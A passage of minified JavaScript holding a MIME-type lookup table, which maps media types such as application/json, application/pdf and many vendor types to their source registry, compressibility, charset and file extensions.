ointprop+json":{source:"iana",compressible:!0},"application/alto-endpointpropparams+json":{source:"iana",compressible:!0},"application/alto-error+json":{source:"iana",compressible:!0},"application/alto-networkmap+json":{source:"iana",compressible:!0},"application/alto-networkmapfilter+json":{source:"iana",compressible:!0},"application/alto-updatestreamcontrol+json":{source:"iana",compressible:!0},"application/alto-updatestreamparams+json":{source:"iana",compressible:!0},"application/aml":{source:"iana"},"application/andrew-inset":{source:"iana",extensions:["ez"]},"application/applefile":{source:"iana"},"application/applixware":{source:"apache",extensions:["aw"]},"application/at+jwt":{source:"iana"},"application/atf":{source:"iana"},"application/atfx":{source:"iana"},"application/atom+xml":{source:"iana",compressible:!0,extensions:["atom"]},"application/atomcat+xml":{source:"iana",compressible:!0,extensions:["atomcat"]},"application/atomdeleted+xml":{source:"iana",compressible:!0,extensions:["atomdeleted"]},"application/atomicmail":{source:"iana"},"application/atomsvc+xml":{source:"iana",compressible:!0,extensions:["atomsvc"]},"application/atsc-dwd+xml":{source:"iana",compressible:!0,extensions:["dwd"]},"application/atsc-dynamic-event-message":{source:"iana"},"application/atsc-held+xml":{source:"iana",compressible:!0,extensions:["held"]},"application/atsc-rdt+json":{source:"iana",compressible:!0},"application/atsc-rsat+xml":{source:"iana",compressible:!0,extensions:["rsat"]},"application/atxml":{source:"iana"},"application/auth-policy+xml":{source:"iana",compressible:!0},"application/bacnet-xdd+zip":{source:"iana",compressible:!1},"application/batch-smtp":{source:"iana"},"application/bdoc":{compressible:!1,extensions:["bdoc"]},"application/beep+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/calendar+json":{source:"iana",compressible:!0},"application/calendar+xml":{source:"iana",compressible:!0,extensions:["xcs"]},"application/call-completion":{source:"iana"},"application/cals-1840":{source:"iana"},"application/captive+json":{source:"iana",compressible:!0},"application/cbor":{source:"iana"},"application/cbor-seq":{source:"iana"},"application/cccex":{source:"iana"},"application/ccmp+xml":{source:"iana",compressible:!0},"application/ccxml+xml":{source:"iana",compressible:!0,extensions:["ccxml"]},"application/cdfx+xml":{source:"iana",compressible:!0,extensions:["cdfx"]},"application/cdmi-capability":{source:"iana",extensions:["cdmia"]},"application/cdmi-container":{source:"iana",extensions:["cdmic"]},"application/cdmi-domain":{source:"iana",extensions:["cdmid"]},"application/cdmi-object":{source:"iana",extensions:["cdmio"]},"application/cdmi-queue":{source:"iana",extensions:["cdmiq"]},"application/cdni":{source:"iana"},"application/cea":{source:"iana"},"application/cea-2018+xml":{source:"iana",compressible:!0},"application/cellml+xml":{source:"iana",compressible:!0},"application/cfw":{source:"iana"},"application/city+json":{source:"iana",compressible:!0},"application/clr":{source:"iana"},"application/clue+xml":{source:"iana",compressible:!0},"application/clue_info+xml":{source:"iana",compressible:!0},"application/cms":{source:"iana"},"application/cnrp+xml":{source:"iana",compressible:!0},"application/coap-group+json":{source:"iana",compressible:!0},"application/coap-payload":{source:"iana"},"application/commonground":{source:"iana"},"application/conference-info+xml":{source:"iana",compressible:!0},"application/cose":{source:"iana"},"application/cose-key":{source:"iana"},"application/cose-key-set":{source:"iana"},"application/cpl+xml":{source:"iana",compressible:!0,extensions:["cpl"]},"application/csrattrs":{source:"iana"},"application/csta+xml":{source:"iana",compressible:!0},"application/cstadata+xml":{source:"iana",compressible:!0},"application/csvm+json":{source:"iana",compressible:!0},"application/cu-seeme":{source:"apache",extensions:["cu"]},"application/cwt":{source:"iana"},"application/cybercash":{source:"iana"},"application/dart":{compressible:!0},"application/dash+xml":{source:"iana",compressible:!0,extensions:["mpd"]},"application/dash-patch+xml":{source:"iana",compressible:!0,extensions:["mpp"]},"application/dashdelta":{source:"iana"},"application/davmount+xml":{source:"iana",compressible:!0,extensions:["davmount"]},"application/dca-rft":{source:"iana"},"application/dcd":{source:"iana"},"application/dec-dx":{source:"iana"},"application/dialog-info+xml":{source:"iana",compressible:!0},"application/dicom":{source:"iana"},"application/dicom+json":{source:"iana",compressible:!0},"application/dicom+xml":{source:"iana",compressible:!0},"application/dii":{source:"iana"},"application/dit":{source:"iana"},"application/dns":{source:"iana"},"application/dns+json":{source:"iana",compressible:!0},"application/dns-message":{source:"iana"},"application/docbook+xml":{source:"apache",compressible:!0,extensions:["dbk"]},"application/dots+cbor":{source:"iana"},"application/dskpp+xml":{source:"iana",compressible:!0},"application/dssc+der":{source:"iana",extensions:["dssc"]},"application/dssc+xml":{source:"iana",compressible:!0,extensions:["xdssc"]},"application/dvcs":{source:"iana"},"application/ecmascript":{source:"iana",compressible:!0,extensions:["es","ecma"]},"application/edi-consent":{source:"iana"},"application/edi-x12":{source:"iana",compressible:!1},"application/edifact":{source:"iana",compressible:!1},"application/efi":{source:"iana"},"application/elm+json":{source:"iana",charset:"UTF-8",compressible:!0},"application/elm+xml":{source:"iana",compressible:!0},"application/emergencycalldata.cap+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/emergencycalldata.comment+xml":{source:"iana",compressible:!0},"application/emergencycalldata.control+xml":{source:"iana",compressible:!0},"application/emergencycalldata.deviceinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.ecall.msd":{source:"iana"},"application/emergencycalldata.providerinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.serviceinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.subscriberinfo+xml":{source:"iana",compressible:!0},"application/emergencycalldata.veds+xml":{source:"iana",compressible:!0},"application/emma+xml":{source:"iana",compressible:!0,extensions:["emma"]},"application/emotionml+xml":{source:"iana",compressible:!0,extensions:["emotionml"]},"application/encaprtp":{source:"iana"},"application/epp+xml":{source:"iana",compressible:!0},"application/epub+zip":{source:"iana",compressible:!1,extensions:["epub"]},"application/eshop":{source:"iana"},"application/exi":{source:"iana",extensions:["exi"]},"application/expect-ct-report+json":{source:"iana",compressible:!0},"application/express":{source:"iana",extensions:["exp"]},"application/fastinfoset":{source:"iana"},"application/fastsoap":{source:"iana"},"application/fdt+xml":{source:"iana",compressible:!0,extensions:["fdt"]},"application/fhir+json":{source:"iana",charset:"UTF-8",compressible:!0},"application/fhir+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/fido.trusted-apps+json":{compressible:!0},"application/fits":{source:"iana"},"application/flexfec":{source:"iana"},"application/font-sfnt":{source:"iana"},"application/font-tdpfr":{source:"iana",extensions:["pfr"]},"application/font-woff":{source:"iana",compressible:!1},"application/framework-attributes+xml":{source:"iana",compressible:!0},"application/geo+json":{source:"iana",compressible:!0,extensions:["geojson"]},"application/geo+json-seq":{source:"iana"},"application/geopackage+sqlite3":{source:"iana"},"application/geoxacml+xml":{source:"iana",compressible:!0},"application/gltf-buffer":{source:"iana"},"application/gml+xml":{source:"iana",compressible:!0,extensions:["gml"]},"application/gpx+xml":{source:"apache",compressible:!0,extensions:["gpx"]},"application/gxf":{source:"apache",extensions:["gxf"]},"application/gzip":{source:"iana",compressible:!1,extensions:["gz"]},"application/h224":{source:"iana"},"application/held+xml":{source:"iana",compressible:!0},"application/hjson":{extensions:["hjson"]},"application/http":{source:"iana"},"application/hyperstudio":{source:"iana",extensions:["stk"]},"application/ibe-key-request+xml":{source:"iana",compressible:!0},"application/ibe-pkg-reply+xml":{source:"iana",compressible:!0},"application/ibe-pp-data":{source:"iana"},"application/iges":{source:"iana"},"application/im-iscomposing+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/index":{source:"iana"},"application/index.cmd":{source:"iana"},"application/index.obj":{source:"iana"},"application/index.response":{source:"iana"},"application/index.vnd":{source:"iana"},"application/inkml+xml":{source:"iana",compressible:!0,extensions:["ink","inkml"]},"application/iotp":{source:"iana"},"application/ipfix":{source:"iana",extensions:["ipfix"]},"application/ipp":{source:"iana"},"application/isup":{source:"iana"},"application/its+xml":{source:"iana",compressible:!0,extensions:["its"]},"application/java-archive":{source:"apache",compressible:!1,extensions:["jar","war","ear"]},"application/java-serialized-object":{source:"apache",compressible:!1,extensions:["ser"]},"application/java-vm":{source:"apache",compressible:!1,extensions:["class"]},"application/javascript":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["js","mjs"]},"application/jf2feed+json":{source:"iana",compressible:!0},"application/jose":{source:"iana"},"application/jose+json":{source:"iana",compressible:!0},"application/jrd+json":{source:"iana",compressible:!0},"application/jscalendar+json":{source:"iana",compressible:!0},"application/json":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["json","map"]},"application/json-patch+json":{source:"iana",compressible:!0},"application/json-seq":{source:"iana"},"application/json5":{extensions:["json5"]},"application/jsonml+json":{source:"apache",compressible:!0,extensions:["jsonml"]},"application/jwk+json":{source:"iana",compressible:!0},"application/jwk-set+json":{source:"iana",compressible:!0},"application/jwt":{source:"iana"},"application/kpml-request+xml":{source:"iana",compressible:!0},"application/kpml-response+xml":{source:"iana",compressible:!0},"application/ld+json":{source:"iana",compressible:!0,extensions:["jsonld"]},"application/lgr+xml":{source:"iana",compressible:!0,extensions:["lgr"]},"application/link-format":{source:"iana"},"application/load-control+xml":{source:"iana",compressible:!0},"application/lost+xml":{source:"iana",compressible:!0,extensions:["lostxml"]},"application/lostsync+xml":{source:"iana",compressible:!0},"application/lpf+zip":{source:"iana",compressible:!1},"application/lxf":{source:"iana"},"application/mac-binhex40":{source:"iana",extensions:["hqx"]},"application/mac-compactpro":{source:"apache",extensions:["cpt"]},"application/macwriteii":{source:"iana"},"application/mads+xml":{source:"iana",compressible:!0,extensions:["mads"]},"application/manifest+json":{source:"iana",charset:"UTF-8",compressible:!0,extensions:["webmanifest"]},"application/marc":{source:"iana",extensions:["mrc"]},"application/marcxml+xml":{source:"iana",compressible:!0,extensions:["mrcx"]},"application/mathematica":{source:"iana",extensions:["ma","nb","mb"]},"application/mathml+xml":{source:"iana",compressible:!0,extensions:["mathml"]},"application/mathml-content+xml":{source:"iana",compressible:!0},"application/mathml-presentation+xml":{source:"iana",compressible:!0},"application/mbms-associated-procedure-description+xml":{source:"iana",compressible:!0},"application/mbms-deregister+xml":{source:"iana",compressible:!0},"application/mbms-envelope+xml":{source:"iana",compressible:!0},"application/mbms-msk+xml":{source:"iana",compressible:!0},"application/mbms-msk-response+xml":{source:"iana",compressible:!0},"application/mbms-protection-description+xml":{source:"iana",compressible:!0},"application/mbms-reception-report+xml":{source:"iana",compressible:!0},"application/mbms-register+xml":{source:"iana",compressible:!0},"application/mbms-register-response+xml":{source:"iana",compressible:!0},"application/mbms-schedule+xml":{source:"iana",compressible:!0},"application/mbms-user-service-description+xml":{source:"iana",compressible:!0},"application/mbox":{source:"iana",extensions:["mbox"]},"application/media-policy-dataset+xml":{source:"iana",compressible:!0,extensions:["mpf"]},"application/media_control+xml":{source:"iana",compressible:!0},"application/mediaservercontrol+xml":{source:"iana",compressible:!0,extensions:["mscml"]},"application/merge-patch+json":{source:"iana",compressible:!0},"application/metalink+xml":{source:"apache",compressible:!0,extensions:["metalink"]},"application/metalink4+xml":{source:"iana",compressible:!0,extensions:["meta4"]},"application/mets+xml":{source:"iana",compressible:!0,extensions:["mets"]},"application/mf4":{source:"iana"},"application/mikey":{source:"iana"},"application/mipc":{source:"iana"},"application/missing-blocks+cbor-seq":{source:"iana"},"application/mmt-aei+xml":{source:"iana",compressible:!0,extensions:["maei"]},"application/mmt-usd+xml":{source:"iana",compressible:!0,extensions:["musd"]},"application/mods+xml":{source:"iana",compressible:!0,extensions:["mods"]},"application/moss-keys":{source:"iana"},"application/moss-signature":{source:"iana"},"application/mosskey-data":{source:"iana"},"application/mosskey-request":{source:"iana"},"application/mp21":{source:"iana",extensions:["m21","mp21"]},"application/mp4":{source:"iana",extensions:["mp4s","m4p"]},"application/mpeg4-generic":{source:"iana"},"application/mpeg4-iod":{source:"iana"},"application/mpeg4-iod-xmt":{source:"iana"},"application/mrb-consumer+xml":{source:"iana",compressible:!0},"application/mrb-publish+xml":{source:"iana",compressible:!0},"application/msc-ivr+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/msc-mixer+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/msword":{source:"iana",compressible:!1,extensions:["doc","dot"]},"application/mud+json":{source:"iana",compressible:!0},"application/multipart-core":{source:"iana"},"application/mxf":{source:"iana",extensions:["mxf"]},"application/n-quads":{source:"iana",extensions:["nq"]},"application/n-triples":{source:"iana",extensions:["nt"]},"application/nasdata":{source:"iana"},"application/news-checkgroups":{source:"iana",charset:"US-ASCII"},"application/news-groupinfo":{source:"iana",charset:"US-ASCII"},"application/news-transmission":{source:"iana"},"application/nlsml+xml":{source:"iana",compressible:!0},"application/node":{source:"iana",extensions:["cjs"]},"application/nss":{source:"iana"},"application/oauth-authz-req+jwt":{source:"iana"},"application/oblivious-dns-message":{source:"iana"},"application/ocsp-request":{source:"iana"},"application/ocsp-response":{source:"iana"},"application/octet-stream":{source:"iana",compressible:!1,extensions:["bin","dms","lrf","mar","so","dist","distz","pkg","bpk","dump","elc","deploy","exe","dll","deb","dmg","iso","img","msi","msp","msm","buffer"]},"application/oda":{source:"iana",extensions:["oda"]},"application/odm+xml":{source:"iana",compressible:!0},"application/odx":{source:"iana"},"application/oebps-package+xml":{source:"iana",compressible:!0,extensions:["opf"]},"application/ogg":{source:"iana",compressible:!1,extensions:["ogx"]},"application/omdoc+xml":{source:"apache",compressible:!0,extensions:["omdoc"]},"application/onenote":{source:"apache",extensions:["onetoc","onetoc2","onetmp","onepkg"]},"application/opc-nodeset+xml":{source:"iana",compressible:!0},"application/oscore":{source:"iana"},"application/oxps":{source:"iana",extensions:["oxps"]},"application/p21":{source:"iana"},"application/p21+zip":{source:"iana",compressible:!1},"application/p2p-overlay+xml":{source:"iana",compressible:!0,extensions:["relo"]},"application/parityfec":{source:"iana"},"application/passport":{source:"iana"},"application/patch-ops-error+xml":{source:"iana",compressible:!0,extensions:["xer"]},"application/pdf":{source:"iana",compressible:!1,extensions:["pdf"]},"application/pdx":{source:"iana"},"application/pem-certificate-chain":{source:"iana"},"application/pgp-encrypted":{source:"iana",compressible:!1,extensions:["pgp"]},"application/pgp-keys":{source:"iana",extensions:["asc"]},"application/pgp-signature":{source:"iana",extensions:["asc","sig"]},"application/pics-rules":{source:"apache",extensions:["prf"]},"application/pidf+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/pidf-diff+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/pkcs10":{source:"iana",extensions:["p10"]},"application/pkcs12":{source:"iana"},"application/pkcs7-mime":{source:"iana",extensions:["p7m","p7c"]},"application/pkcs7-signature":{source:"iana",extensions:["p7s"]},"application/pkcs8":{source:"iana",extensions:["p8"]},"application/pkcs8-encrypted":{source:"iana"},"application/pkix-attr-cert":{source:"iana",extensions:["ac"]},"application/pkix-cert":{source:"iana",extensions:["cer"]},"application/pkix-crl":{source:"iana",extensions:["crl"]},"application/pkix-pkipath":{source:"iana",extensions:["pkipath"]},"application/pkixcmp":{source:"iana",extensions:["pki"]},"application/pls+xml":{source:"iana",compressible:!0,extensions:["pls"]},"application/poc-settings+xml":{source:"iana",charset:"UTF-8",compressible:!0},"application/postscript":{source:"iana",compressible:!0,extensions:["ai","eps","ps"]},"application/ppsp-tracker+json":{source:"iana",compressible:!0},"application/problem+json":{source:"iana",compressible:!0},"application/problem+xml":{source:"iana",compressible:!0},"application/provenance+xml":{source:"iana",compressible:!0,extensions:["provx"]},"application/prs.alvestrand.titrax-sheet":{source:"iana"},"application/prs.cww":{source:"iana",extensions:["cww"]},"application/prs.cyn":{source:"iana",charset:"7-BIT"},"application/prs.hpub+zip":{source:"iana",compressible:!1},"application/prs.nprend":{source:"iana"},"application/prs.plucker":{source:"iana"},"application/prs.rdf-xml-crypt":{source:"iana"},"application/prs.xsf+xml":{source:"iana",compressible:!0},"application/pskc+xml":{source:"iana",compressible:!0,extensions:["pskcxml"]},"application/pvd+json":{source:"iana",compressible:!0},"application/qsig":{source:"iana"},"application/raml+yaml":{compressible:!0,extensions:["raml"]},"application/raptorfec":{source:"iana"},"application/rdap+json":{source:"iana",compressible:!0},"application/rdf+xml":{source:"iana",compressible:!0,extensions:["rdf","owl"]},"application/reginfo+xml":{source:"iana",compressible:!0,extensions:["rif"]},"application/relax-ng-compact-syntax":{source:"iana",extensions:["rnc"]},"application/remote-printing":{source:"iana"},"application/reputon+json":{source:"iana",compressible:!0},"application/resource-lists+xml":{source:"iana",compressible:!0,extensions:["rl"]},"application/resource-lists-diff+xml":{source:"iana",compressible:!0,extensions:["rld"]},"application/rfc+xml":{source:"iana",compressible:!0},"application/riscos":{source:"iana"},"application/rlmi+xml":{source:"iana",compressible:!0},"application/rls-services+xml":{source:"iana",compressible:!0,extensions:["rs"]},"application/route-apd+xml":{source:"iana",compressible:!0,extensions:["rapd"]},"application/route-s-tsid+xml":{source:"iana",compressible:!0,extensions:["sls"]},"application/route-usd+xml":{source:"iana",compressible:!0,extensions:["rusd"]},"application/rpki-ghostbusters":{source:"iana",extensions:["gbr"]},"application/rpki-manifest":{source:"iana",extensions:["mft"]},"application/rpki-publication":{source:"iana"},"application/rpki-roa":{source:"iana",extensions:["roa"]},"application/rpki-updown":{source:"iana"},"application/rsd+xml":{source:"apache",compressible:!0,extensions:["rsd"]},"application/rss+xml":{source:"apache",compressible:!0,extensions:["rss"]},"application/rtf":{source:"iana",compressible:!0,extensions:["rtf"]},"application/rtploopback":{source:"iana"},"application/rtx":{source:"iana"},"application/samlassertion+xml":{source:"iana",compressible:!0},"application/samlmetadata+xml":{source:"iana",compressible:!0},"application/sarif+json":{source:"iana",compressible:!0},"application/sarif-external-properties+json":{source:"iana",compressible:!0},"application/sbe":{source:"iana"},"application/sbml+xml":{source:"iana",compressible:!0,extensions:["sbml"]},"application/scaip+xml":{source:"iana",compressible:!0},"application/scim+json":{source:"iana",compressible:!0},"application/scvp-cv-request":{source:"iana",extensions:["scq"]},"application/scvp-cv-response":{source:"iana",extensions:["scs"]},"application/scvp-vp-request":{source:"iana",extensions:["spq"]},"application/scvp-vp-response":{source:"iana",extensions:["spp"]},"application/sdp":{source:"iana",extensions:["sdp"]},"application/secevent+jwt":{source:"iana"},"application/senml+cbor":{source:"iana"},"application/senml+json":{source:"iana",compressible:!0},"application/senml+xml":{source:"iana",compressible:!0,extensions:["senmlx"]},"application/senml-etch+cbor":{source:"iana"},"application/senml-etch+json":{source:"iana",compressible:!0},"application/senml-exi":{source:"iana"},"application/sensml+cbor":{source:"iana"},"application/sensml+json":{source:"iana",compressible:!0},"application/sensml+xml":{source:"iana",compressible:!0,extensions:["sensmlx"]},"application/sensml-exi":{source:"iana"},"application/sep+xml":{source:"iana",compressible:!0},"application/sep-exi":{source:"iana"},"application/session-info":{source:"iana"},"application/set-payment":{source:"iana"},"application/set-payment-initiation":{source:"iana",extensions:["setpay"]},"application/set-registration":{source:"iana"},"application/set-registration-initiation":{source:"iana",extensions:["setreg"]},"application/sgml":{source:"iana"},"application/sgml-open-catalog":{source:"iana"},"application/shf+xml":{source:"iana",compressible:!0,extensions:["shf"]},"application/sieve":{source:"iana",extensions:["siv","sieve"]},"application/simple-filter+xml":{source:"iana",compressible:!0},"application/simple-message-summary":{source:"iana"},"application/simplesymbolcontainer":{source:"iana"},"application/sipc":{source:"iana"},"application/slate":{source:"iana"},"application/smil":{source:"iana"},"application/smil+xml":{source:"iana",compressible:!0,extensions:["smi","smil"]},"application/smpte336m":{source:"iana"},"application/soap+fastinfoset":{source:"iana"},"application/soap+xml":{source:"iana",compressible:!0},"application/sparql-query":{source:"iana",extensions:["rq"]},"application/sparql-results+xml":{source:"iana",compressible:!0,extensions:["srx"]},"application/spdx+json":{source:"iana",compressible:!0},"application/spirits-event+xml":{source:"iana",compressible:!0},"application/sql":{source:"iana"},"application/srgs":{source:"iana",extensions:["gram"]},"application/srgs+xml":{source:"iana",compressible:!0,extensions:["grxml"]},"application/sru+xml":{source:"iana",compressible:!0,extensions:["sru"]},"application/ssdl+xml":{source:"apache",compressible:!0,extensions:["ssdl"]},"application/ssml+xml":{source:"iana",compressible:!0,extensions:["ssml"]},"application/stix+json":{source:"iana",compressible:!0},"application/swid+xml":{source:"iana",compressible:!0,extensions:["swidtag"]},"application/tamp-apex-update":{source:"iana"},"application/tamp-apex-update-confirm":{source:"iana"},"application/tamp-community-update":{source:"iana"},"application/tamp-community-update-confirm":{source:"iana"},"application/tamp-error":{source:"iana"},"application/tamp-sequence-adjust":{source:"iana"},"application/tamp-sequence-adjust-confirm":{source:"iana"},"application/tamp-status-query":{source:"iana"},"application/tamp-status-response":{source:"iana"},"application/tamp-update":{source:"iana"},"application/tamp-update-confirm":{source:"iana"},"application/tar":{compressible:!0},"application/taxii+json":{source:"iana",compressible:!0},"application/td+json":{source:"iana",compressible:!0},"application/tei+xml":{source:"iana",compressible:!0,extensions:["tei","teicorpus"]},"application/tetra_isi":{source:"iana"},"application/thraud+xml":{source:"iana",compressible:!0,extensions:["tfi"]},"application/timestamp-query":{source:"iana"},"application/timestamp-reply":{source:"iana"},"application/timestamped-data":{source:"iana",extensions:["tsd"]},"application/tlsrpt+gzip":{source:"iana"},"application/tlsrpt+json":{source:"iana",compressible:!0},"application/tnauthlist":{source:"iana"},"application/token-introspection+jwt":{source:"iana"},"application/toml":{compressible:!0,extensions:["toml"]},"application/trickle-ice-sdpfrag":{source:"iana"},"application/trig":{source:"iana",extensions:["trig"]},"application/ttml+xml":{source:"iana",compressible:!0,extensions:["ttml"]},"application/tve-trigger":{source:"iana"},"application/tzif":{source:"iana"},"application/tzif-leap":{source:"iana"},"application/ubjson":{compressible:!1,extensions:["ubj"]},"application/ulpfec":{source:"iana"},"application/urc-grpsheet+xml":{source:"iana",compressible:!0},"application/urc-ressheet+xml":{source:"iana",compressible:!0,extensions:["rsheet"]},"application/urc-targetdesc+xml":{source:"iana",compressible:!0,extensions:["td"]},"application/urc-uisocketdesc+xml":{source:"iana",compressible:!0},"application/vcard+json":{source:"iana",compressible:!0},"application/vcard+xml":{source:"iana",compressible:!0},"application/vemmi":{source:"iana"},"application/vividence.scriptfile":{source:"apache"},"application/vnd.1000minds.decision-model+xml":{source:"iana",compressible:!0,extensions:["1km"]},"application/vnd.3gpp-prose+xml":{source:"iana",compressible:!0},"application/vnd.3gpp-prose-pc3ch+xml":{source:"iana",compressible:!0},"application/vnd.3gpp-v2x-local-service-information":{source:"iana"},"application/vnd.3gpp.5gnas":{source:"iana"},"application/vnd.3gpp.access-transfer-events+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.bsf+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.gmop+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.gtpc":{source:"iana"},"application/vnd.3gpp.interworking-data":{source:"iana"},"application/vnd.3gpp.lpp":{source:"iana"},"application/vnd.3gpp.mc-signalling-ear":{source:"iana"},"application/vnd.3gpp.mcdata-affiliation-command+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-payload":{source:"iana"},"application/vnd.3gpp.mcdata-service-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-signalling":{source:"iana"},"application/vnd.3gpp.mcdata-ue-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcdata-user-profile+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-affiliation-command+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-floor-request+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-location-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-mbms-usage-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-service-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-signed+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-ue-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-ue-init-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcptt-user-profile+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-affiliation-command+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-affiliation-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-location-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-mbms-usage-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-service-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-transmission-request+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-ue-config+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mcvideo-user-profile+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.mid-call+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.ngap":{source:"iana"},"application/vnd.3gpp.pfcp":{source:"iana"},"application/vnd.3gpp.pic-bw-large":{source:"iana",extensions:["plb"]},"application/vnd.3gpp.pic-bw-small":{source:"iana",extensions:["psb"]},"application/vnd.3gpp.pic-bw-var":{source:"iana",extensions:["pvb"]},"application/vnd.3gpp.s1ap":{source:"iana"},"application/vnd.3gpp.sms":{source:"iana"},"application/vnd.3gpp.sms+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.srvcc-ext+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.srvcc-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.state-and-event-info+xml":{source:"iana",compressible:!0},"application/vnd.3gpp.ussd+xml":{source:"iana",compressible:!0},"application/vnd.3gpp2.bcmcsinfo+xml":{source:"iana",compressible:!0},"application/vnd.3gpp2.sms":{source:"iana"},"application/vnd.3gpp2.tcap":{source:"iana",extensions:["tcap"]},"application/vnd.3lightssoftware.imagescal":{source:"iana"},"application/vnd.3m.post-it-notes":{source:"iana",extensions:["pwn"]},"application/vnd.accpac.simply.aso":{source:"iana",extensions:["aso"]},"application/vnd.accpac.simply.imp":{source:"iana",extensions:["imp"]},"application/vnd.acucobol":{source:"iana",extensions:["acu"]},"application/vnd.acucorp":{source:"iana",extensions:["atc","acutc"]},"application/vnd.adobe.air-application-installer-package+zip":{source:"apache",compressible:!1,extensions:["air"]},"application/vnd.adobe.flash.movie":{source:"iana"},"application/vnd.adobe.formscentral.fcdt":{source:"iana",extensions:["fcdt"]},"application/vnd.adobe.fxp":{source:"iana",extensions:["fxp","fxpl"]},"application/vnd.adobe.partial-upload":{source:"iana"},"application/vnd.adobe.xdp+xml":{source:"iana",compressible:!0,extensions:["xdp"]},"application/vnd.adobe.xfdf":{source:"iana",extensions:["xfdf"]},"application/vnd.aether.imp":{source:"iana"},"application/vnd.afpc.afplinedata":{source:"iana"},"application/vnd.afpc.afplinedata-pagedef":{source:"iana"},"application/vnd.afpc.cmoca-cmresource":{source:"iana"},"application/vnd.afpc.foca-charset":{source:"iana"},"application/vnd.afpc.foca-codedfont":{source:"iana"},"application/vnd.afpc.foca-codepage":{source:"iana"},"application/vnd.afpc.modca":{source:"iana"},"application/vnd.afpc.modca-cmtable":{source:"iana"},"application/vnd.afpc.modca-formdef":{source:"iana"},"application/vnd.afpc.modca-mediummap":{source:"iana"},"application/vnd.afpc.modca-objectcontainer":{source:"iana"},"application/vnd.afpc.modca-overlay":{source:"iana"},"application/vnd.afpc.modca-pagesegment":{source:"iana"},"application/vnd.age":{source:"iana",extensions:["age"]},"application/vnd.ah-barcode":{source:"iana"},"application/vnd.ahead.space":{source:"iana",extensions:["ahead"]},"application/vnd.airzip.filesecure.azf":{source:"iana",extensions:["azf"]},"application/vnd.airzip.filesecure.azs":{source:"iana",extensions:["azs"]},"application/vnd.amadeus+json":{source:"iana",compressible:!0},"application/vnd.amazon.ebook":{source:"apache",extensions:["azw"]},"application/vnd.amazon.mobi8-ebook":{source:"iana"},"application/vnd.americandynamics.acc":{source:"iana",extensions:["acc"]},"application/vnd.amiga.ami":{source:"iana",extensions:["ami"]},"application/vnd.amundsen.maze+xml":{source:"iana",compressible:!0},"application/vnd.android.ota":{source:"iana"},"application/vnd.android.package-archive":{source:"apache",compressible:!1,extensions:["apk"]},"application/vnd.anki":{source:"iana"},"application/vnd.anser-web-certificate-issue-initiation":{source:"iana",extensions:["cii"]},"application/vnd.anser-web-funds-transfer-initiation":{source:"apache",extensions:["fti"]},"application/vnd.antix.game-component":{source:"iana",extensions:["atx"]},"application/vnd.apache.arrow.file":{source:"iana"},"application/vnd.apache.arrow.stream":{source:"iana"},"application/vnd.apache.thrift.binary":{source:"iana"},"application/vnd.apache.thrift.compact":{source:"iana"},"application/vnd.apache.thrift.json":{source:"iana"},"application/vnd.api+json":{source:"iana",compressible:!0},"application/vnd.aplextor.warrp+json":{source:"iana",compressible:!0},"application/vnd.apothekende.reservation+json":{source:"iana",compressible:!0},"application/vnd.apple.installer+xml":{source:"iana",compressible:!0,extensions:["mpkg"]},"application/vnd.apple.keynote":{source:"iana",extensions:["key"]},"application/vnd.apple.mpegurl":{source:"iana",extensions:["m3u8"]},"application/vnd.apple.numbers":{source:"iana",extensions:["numbers"]},"application/vnd.apple.pages":{source:"iana",extensions:["pages"]},"application/vnd.apple.pkpass":{compressible:!1,extensions:["pkpass"]},"application/vnd.arastra.swi":{source:"iana"},"application/vnd.aristanetworks.swi":{source:"iana",extensions:["swi"]},"application/vnd.artisan+json":{source:"iana",compressible:!0},"application/vnd.artsquare":{source:"iana"},"application/vnd.astraea-software.iota":{source:"iana",extensions:["iota"]},"application/vnd.audiograph":{source:"iana",extensions:["aep"]},"application/vnd.autopackage":{source:"iana"},"application/vnd.avalon+json":{source:"iana",compressible:!0},"application/vnd.avistar+xml":{source:"iana",compressible:!0},"application/vnd.balsamiq.bmml+xml":{source:"iana",compressible:!0,extensions: